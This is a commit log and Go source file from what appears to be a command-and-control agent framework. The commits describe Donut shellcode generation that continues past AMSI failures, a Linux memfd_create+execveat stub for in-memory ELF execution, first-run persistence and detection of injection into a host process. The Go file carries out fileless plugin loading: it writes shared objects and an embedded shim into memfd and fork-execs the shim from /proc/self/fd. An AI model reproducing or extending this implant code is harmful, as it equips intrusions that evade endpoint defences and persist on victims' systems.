* feat: shellcode output via Donut (Windows) + memfd stub (Linux) - Donut (Windows): PE → PIC shellcode (.bin) via donut-manager.ts Flags: -f1 -a<arch> -b3 -x1 (continue on AMSI fail, thread exit) - Linux shellcode: 113-byte x86_64 memfd_create+execveat stub (linux-shellcode-manager.ts) wraps ELF for memfd_create+execveat - Two-pass build for shellcode+persistence: Pass 1 = normal agent with persist compiled in; Pass 2 = selfembed agent that drops+registers Pass 1 on first run (isRunningInMemory() gates the path) - Show console option: shellcode_console build tag calls AllocConsole() on start for debug builds; AttachConsole fallback included - isRunningInMemory() Windows: VirtualQuery on .data sentinel (MEM_PRIVATE = injected, MEM_IMAGE = normal disk load) replaces os.Executable() which returned host process path when injected - Build UI: Donut mode, Linux shellcode mode, show-console checkboxes; settings persisted across sessions via collectFormSettings() - GODEBUG=netdns=cgo hardcoded in build env (fixes IPv6 DNS on VPN) - Dockerfile: pre-seed Go module cache; add curl to runtime image - docker-compose.yml: switch healthcheck to wget (curl absent in slim) * fix: add missing shellcode UI functions and restore dynamic linking applyDonutMode, applyLinuxShellcodeMode, and updateShellcodeCheckboxVisibility were called throughout build.js but never defined, breaking platform selection and the build button. Add the missing implementations. Also remove forced -extldflags '-static' on Linux CGO builds; fully static glibc binaries cannot call dlopen, which broke native plugin loading entirely. * fix: call updateShellcodeCheckboxVisibility on page load Shellcode rows were hidden on initial load because the function was only wired to checkbox change events. Call it at startup and in applyFormSettings so pre-selected platforms correctly show their shellcode options immediately. * feat: Linux plugin subprocess shim for static-agent compatibility Static musl binaries cannot call dlopen. Introduce a small C shim (plugin_host.c) that is compiled at agent-build time into a dynamically-linked binary, embedded via go:embed, and fork+exec'd to load .so plugins on behalf of the static agent over a Unix socketpair. Empty placeholder files allow go:embed to compile without error; the real binaries are produced by build-process.ts before go build runs and are never committed. Documents the IPC protocol and build matrix in PLUGINS.md Section 12. * fix: define sp_memfd_create/sp_write_all in subproc CGO preamble CGO preamble functions are per-file translation units; so_memfd_create and so_write_all from loader_linux.go are not visible in loader_linux_subproc.go. Add local equivalents with sp_ prefix. * fix: use CGO helper for shim memfd_create instead of syscall.SYS_MEMFD_CREATE syscall.SYS_MEMFD_CREATE is not defined in Go stdlib syscall package. Replace with sp_memfd_create_nocloe() CGO helper (flags=0, no CLOEXEC). * fix: compile plugin host shim statically to avoid glibc version mismatch A dynamically-linked shim compiled on Debian Bookworm (glibc 2.36) fails on older glibc targets. Compile with -static so the shim is self-contained and runs on any glibc version. Static glibc can still call dlopen at runtime via the system ld-linux.so.2. Also surface subprocess errors instead of silently falling through to dlopen so failures are visible in the build log. * Restore docker build cache
325 lines
7.4 KiB
Go
325 lines
7.4 KiB
Go
//go:build linux && cgo
|
|
|
|
package plugins
|
|
|
|
/*
|
|
#include <sys/socket.h>
|
|
#include <sys/syscall.h>
|
|
#include <unistd.h>
|
|
#include <stdint.h>
|
|
|
|
#ifndef MFD_CLOEXEC
|
|
#define MFD_CLOEXEC 0x0001U
|
|
#endif
|
|
|
|
static int make_socketpair(int fds[2]) {
|
|
return socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
|
|
}
|
|
|
|
static int sp_memfd_create(void) {
|
|
return (int)syscall(SYS_memfd_create, "plugin", MFD_CLOEXEC);
|
|
}
|
|
|
|
// No CLOEXEC — the fd must survive fexecve/exec into the shim process.
|
|
static int sp_memfd_create_nocloe(void) {
|
|
return (int)syscall(SYS_memfd_create, "ph", 0);
|
|
}
|
|
|
|
static int sp_write_all(int fd, const void* buf, size_t len) {
|
|
const char* p = (const char*)buf;
|
|
while (len > 0) {
|
|
ssize_t n = write(fd, p, len);
|
|
if (n <= 0) return -1;
|
|
p += n;
|
|
len -= (size_t)n;
|
|
}
|
|
return 0;
|
|
}
|
|
*/
|
|
import "C"
|
|
|
|
import (
|
|
"encoding/binary"
|
|
"errors"
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"strconv"
|
|
"sync"
|
|
"syscall"
|
|
"unsafe"
|
|
)
|
|
|
|
// Message type constants — must match plugin_host.c
|
|
const (
|
|
phMsgLoad = 0x01
|
|
phMsgEvent = 0x02
|
|
phMsgUnload = 0x03
|
|
phMsgCallback = 0x10
|
|
phMsgReady = 0x11
|
|
phMsgErr = 0x12
|
|
phMsgLoadResult = 0x13
|
|
)
|
|
|
|
// loadNativePluginSubproc attempts to load the plugin by fork+exec-ing the
|
|
// embedded plugin_host shim. Returns an error if pluginHostBinary is empty
|
|
// (not compiled) or if any setup step fails.
|
|
func loadNativePluginSubproc(soData []byte) (NativePlugin, error) {
|
|
if len(pluginHostBinary) == 0 {
|
|
return nil, errors.New("plugin host shim not available for this architecture")
|
|
}
|
|
|
|
// Write the .so to a memfd so the shim can dlopen it.
|
|
soFd := int(C.sp_memfd_create())
|
|
if soFd < 0 {
|
|
return nil, errors.New("memfd_create failed for plugin .so")
|
|
}
|
|
if C.sp_write_all(C.int(soFd), unsafe.Pointer(&soData[0]), C.size_t(len(soData))) != 0 {
|
|
syscall.Close(soFd)
|
|
return nil, errors.New("write to plugin .so memfd failed")
|
|
}
|
|
|
|
// Write the shim binary to a memfd WITHOUT close-on-exec so it survives exec.
|
|
shimFdC := C.sp_memfd_create_nocloe()
|
|
if shimFdC < 0 {
|
|
syscall.Close(soFd)
|
|
return nil, errors.New("memfd_create for shim failed")
|
|
}
|
|
shimFile := os.NewFile(uintptr(shimFdC), "plugin_host_shim")
|
|
if _, err := shimFile.Write(pluginHostBinary); err != nil {
|
|
shimFile.Close()
|
|
syscall.Close(soFd)
|
|
return nil, fmt.Errorf("write shim to memfd: %w", err)
|
|
}
|
|
|
|
// Create a socketpair for bidirectional communication.
|
|
var fds [2]C.int
|
|
if C.make_socketpair(&fds[0]) != 0 {
|
|
shimFile.Close()
|
|
syscall.Close(soFd)
|
|
return nil, errors.New("socketpair failed")
|
|
}
|
|
parentSock := int(fds[0])
|
|
childSock := int(fds[1])
|
|
|
|
// ForkExec the shim. Pass fds to the child via ProcAttr.Files:
|
|
// child fd 0 = /dev/null
|
|
// child fd 1 = parent stdout (for debug output)
|
|
// child fd 2 = parent stderr
|
|
// child fd 3 = .so memfd
|
|
// child fd 4 = child end of socketpair
|
|
devNull, _ := syscall.Open("/dev/null", syscall.O_RDONLY, 0)
|
|
shimPath := fmt.Sprintf("/proc/self/fd/%d", int(shimFdC))
|
|
pid, err := syscall.ForkExec(shimPath, []string{"plugin_host",
|
|
strconv.Itoa(3), strconv.Itoa(4)},
|
|
&syscall.ProcAttr{
|
|
Files: []uintptr{
|
|
uintptr(devNull),
|
|
1,
|
|
2,
|
|
uintptr(soFd),
|
|
uintptr(childSock),
|
|
},
|
|
},
|
|
)
|
|
// Parent no longer needs these fds.
|
|
syscall.Close(devNull)
|
|
syscall.Close(soFd)
|
|
syscall.Close(childSock)
|
|
shimFile.Close()
|
|
|
|
if err != nil {
|
|
syscall.Close(parentSock)
|
|
return nil, fmt.Errorf("forkexec plugin_host: %w", err)
|
|
}
|
|
|
|
p := &subProcPlugin{
|
|
pid: pid,
|
|
sock: os.NewFile(uintptr(parentSock), "plugin_sock"),
|
|
loadResultCh: make(chan error, 1),
|
|
stopCh: make(chan struct{}),
|
|
}
|
|
go p.readLoop()
|
|
|
|
// Wait for MSG_READY (or MSG_ERR) to confirm the shim loaded the .so.
|
|
select {
|
|
case err := <-p.loadResultCh:
|
|
if err != nil {
|
|
p.sock.Close()
|
|
return nil, err
|
|
}
|
|
case <-p.stopCh:
|
|
p.sock.Close()
|
|
return nil, errors.New("plugin host exited before sending READY")
|
|
}
|
|
|
|
return p, nil
|
|
}
|
|
|
|
// subProcPlugin implements NativePlugin by routing calls through the shim subprocess.
|
|
type subProcPlugin struct {
|
|
pid int
|
|
sock *os.File
|
|
mu sync.Mutex
|
|
pluginRuntime string
|
|
sendFn func(string, []byte)
|
|
loadResultCh chan error
|
|
stopCh chan struct{}
|
|
stopOnce sync.Once
|
|
}
|
|
|
|
func (p *subProcPlugin) readLoop() {
|
|
defer p.stopOnce.Do(func() { close(p.stopCh) })
|
|
|
|
for {
|
|
msgType, payload, err := p.recvMsg()
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
switch msgType {
|
|
case phMsgReady:
|
|
p.mu.Lock()
|
|
p.pluginRuntime = string(payload)
|
|
p.mu.Unlock()
|
|
// Signal the constructor that the shim is ready.
|
|
select {
|
|
case p.loadResultCh <- nil:
|
|
default:
|
|
}
|
|
|
|
case phMsgErr:
|
|
select {
|
|
case p.loadResultCh <- fmt.Errorf("plugin_host: %s", payload):
|
|
default:
|
|
}
|
|
return
|
|
|
|
case phMsgLoadResult:
|
|
if len(payload) > 0 && payload[0] != 0 {
|
|
select {
|
|
case p.loadResultCh <- errors.New("PluginOnLoad returned non-zero"):
|
|
default:
|
|
}
|
|
} else {
|
|
select {
|
|
case p.loadResultCh <- nil:
|
|
default:
|
|
}
|
|
}
|
|
|
|
case phMsgCallback:
|
|
if len(payload) < 6 {
|
|
continue
|
|
}
|
|
evLen := int(binary.LittleEndian.Uint16(payload[0:2]))
|
|
if len(payload) < 2+evLen+4 {
|
|
continue
|
|
}
|
|
plLen := int(binary.LittleEndian.Uint32(payload[2+evLen:]))
|
|
event := string(payload[2 : 2+evLen])
|
|
var pl []byte
|
|
if plLen > 0 && len(payload) >= 2+evLen+4+plLen {
|
|
pl = payload[2+evLen+4 : 2+evLen+4+plLen]
|
|
}
|
|
p.mu.Lock()
|
|
fn := p.sendFn
|
|
p.mu.Unlock()
|
|
if fn != nil {
|
|
fn(event, pl)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func (p *subProcPlugin) sendMsg(msgType uint8, payload []byte) error {
|
|
total := uint32(1 + len(payload))
|
|
hdr := make([]byte, 5)
|
|
binary.LittleEndian.PutUint32(hdr[:4], total)
|
|
hdr[4] = msgType
|
|
p.mu.Lock()
|
|
defer p.mu.Unlock()
|
|
if _, err := p.sock.Write(hdr); err != nil {
|
|
return err
|
|
}
|
|
if len(payload) > 0 {
|
|
if _, err := p.sock.Write(payload); err != nil {
|
|
return err
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (p *subProcPlugin) recvMsg() (uint8, []byte, error) {
|
|
hdr := make([]byte, 5)
|
|
if _, err := io.ReadFull(p.sock, hdr); err != nil {
|
|
return 0, nil, err
|
|
}
|
|
total := binary.LittleEndian.Uint32(hdr[:4])
|
|
if total == 0 {
|
|
return 0, nil, errors.New("zero-length message")
|
|
}
|
|
msgType := hdr[4]
|
|
payloadLen := total - 1
|
|
if payloadLen == 0 {
|
|
return msgType, nil, nil
|
|
}
|
|
payload := make([]byte, payloadLen)
|
|
if _, err := io.ReadFull(p.sock, payload); err != nil {
|
|
return 0, nil, err
|
|
}
|
|
return msgType, payload, nil
|
|
}
|
|
|
|
func (p *subProcPlugin) Load(send func(string, []byte), hostInfo []byte) error {
|
|
p.mu.Lock()
|
|
p.sendFn = send
|
|
p.mu.Unlock()
|
|
|
|
// Send MSG_LOAD; shim will call PluginOnLoad and reply with MSG_LOAD_RESULT.
|
|
if err := p.sendMsg(phMsgLoad, hostInfo); err != nil {
|
|
return fmt.Errorf("send MSG_LOAD: %w", err)
|
|
}
|
|
|
|
select {
|
|
case err := <-p.loadResultCh:
|
|
return err
|
|
case <-p.stopCh:
|
|
return errors.New("plugin host exited during load")
|
|
}
|
|
}
|
|
|
|
func (p *subProcPlugin) Event(event string, payload []byte) error {
|
|
evBytes := []byte(event)
|
|
evLen := len(evBytes)
|
|
plLen := len(payload)
|
|
msg := make([]byte, 2+evLen+4+plLen)
|
|
binary.LittleEndian.PutUint16(msg[0:2], uint16(evLen))
|
|
copy(msg[2:], evBytes)
|
|
binary.LittleEndian.PutUint32(msg[2+evLen:], uint32(plLen))
|
|
if plLen > 0 {
|
|
copy(msg[2+evLen+4:], payload)
|
|
}
|
|
return p.sendMsg(phMsgEvent, msg)
|
|
}
|
|
|
|
func (p *subProcPlugin) Unload() {
|
|
_ = p.sendMsg(phMsgUnload, nil)
|
|
}
|
|
|
|
func (p *subProcPlugin) Close() error {
|
|
p.Unload()
|
|
p.sock.Close()
|
|
// Reap the child process.
|
|
if p.pid > 0 {
|
|
syscall.Wait4(p.pid, nil, 0, nil)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (p *subProcPlugin) Runtime() string {
|
|
p.mu.Lock()
|
|
defer p.mu.Unlock()
|
|
return p.pluginRuntime
|
|
}
|